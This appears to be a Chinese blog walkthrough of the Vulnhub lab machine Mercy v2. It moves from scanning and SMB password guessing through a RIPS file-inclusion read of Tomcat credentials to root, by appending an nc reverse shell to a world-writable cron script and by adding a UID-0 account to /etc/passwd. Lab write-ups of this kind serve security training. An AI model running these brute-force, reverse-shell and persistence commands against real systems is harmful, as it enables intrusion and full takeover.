zoukankan      html  css  js  c++  java
  • Vulnhub-靶机-DIGITALWORLD.LOCAL: MERCY V2

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/digitalworldlocal-mercy-v2,263/

    nmap -n -v -Pn -p- -A --reason -oN mercyv2.nmap 192.168.56.114

    nmap扫描结果

    根据扫描结果,我们先看看开放的445端口,Samba服务,使用如下命令:

    enum4linux 192.168.56.114 | tee mercysmb.txt 

    上述命令会枚举所有共享所需要的信息,也可以通过 smbclient -NL 192.168.56.114 查看目标的共享信息

    确认开放了如上共享,但是没有匿名能够登录的,这里我们先放着吧,看看那个开放的8080端口

    发现是个tomcat默认页面,并且有一定的提示信息,tomcat有个经典的利用方式是通过弱口令进入到后台部署war文件拿shell,这里还需要挖掘登录方式,看看此web应用的robots.txt协议,上面nmap也扫描出来过,我们先访问看看

    访问上述显示的uri

    确认是经过base64编码过的信息,那么解码看看

    得到如上信息,给出的信息是目标靶机有个密码是password,但是不知道是哪个服务的,根据上面得到的信息,有共享文件夹qiu,有可能是就是用户名,想试试ssh登录目标,发现根本没开ssh端口,于是想到了smb共享的文件夹qiu,此文件夹不能匿名访问,逐试试password试试看

    smbclient \\192.168.56.114\qiu -U qiu

    居然成功登录, 我上去把所有的文件都下载下来了,另:这里还可以使用mount命令挂载到本地 sudo mount -t cifs //192.168.56.114:/qiu /mnt/mercy -o username=qiu,password=password

    上述的smb服务知道用户名qiu,那么也是可以使用hydra进行爆破 hydra -l qiu -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.56.114 smb

    翻看了上述共享文件的内容,发现如下价值信息:

    看着又是要敲门开端口了,本地kali安装敲击的knock工具直接tcp敲击然后使用nmap扫描80端口

    knock -v 192.168.56.114 159:tcp 27391:tcp 4:tcp
    nmap -sC -sV -p 80 192.168.56.114

    根据上面nmap扫描的结果得出可访问的uri为/mercy  /nomercy

    得知目标开放的80端口安装的是rips 0.53 存在一个本地文件包含漏洞,具体如下:

    https://www.exploit-db.com/exploits/18660

     既然上述文件包含可以正常使用,那么我们就要回想到上面刚开始提到的tomcat应用,因为刚开始并不知道用户名和密码,但是告诉了我们用户名和密码的配置文件,所以直接包含此文件,读取用户名和密码

    <? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
    <? <user username="fluffy" password="freakishfluffybunny" roles="none"/>

    我就图方便直接使用metasploit利用

    拿到shell之后尝试提权,用户上面得到的用户名和密码直接切换到用户fluffy,然后执行sudo -l并没有可以提权的利用点,找了下用户家目录文件,得到如下信息:

    猜测此文件timeclock会是周期性计划任务执行用来更新时间,且此文件是root权限执行,具备提权条件,这样就有了下面的操作

    第一种方式直接使用echo追加可以在目标靶机上反弹shell的命令

    echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.56.101 8844 1>/tmp/p" >>timeclock

    第二种方式,因为此文件是777权限,那么可以直接追加用户uid和gid为0的用户到/etc/passwd文件里面即可

    openssl passwd -1 -salt bmfx bmfx
    $1$bmfx$HuKLopGkC8MwDIxBcpRnr/
    
    echo "echo 'bmfx:$1$bmfx$HuKLopGkC8MwDIxBcpRnr/:0:0:root:/root:/bin/bash' >> /etc/passwd" >> timeclock

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    【leetcode_easy】589. N-ary Tree Preorder Traversal
    【linux基础】Ubuntu下的终端多标签切换快捷键
    车道线检测github集锦
    [c++]struct timeval
    [opencv] copyTo函数的使用方法
    [c++]C++关键字之friend
    【动手学深度学习】Jupyter notebook中 import mxnet出错
    【opencv】split
    【leetcode_easy】581. Shortest Unsorted Continuous Subarray
    第1课 学习Lua的意义
  • 原文地址:https://www.cnblogs.com/autopwn/p/13746145.html
Copyright © 2011-2022 走看看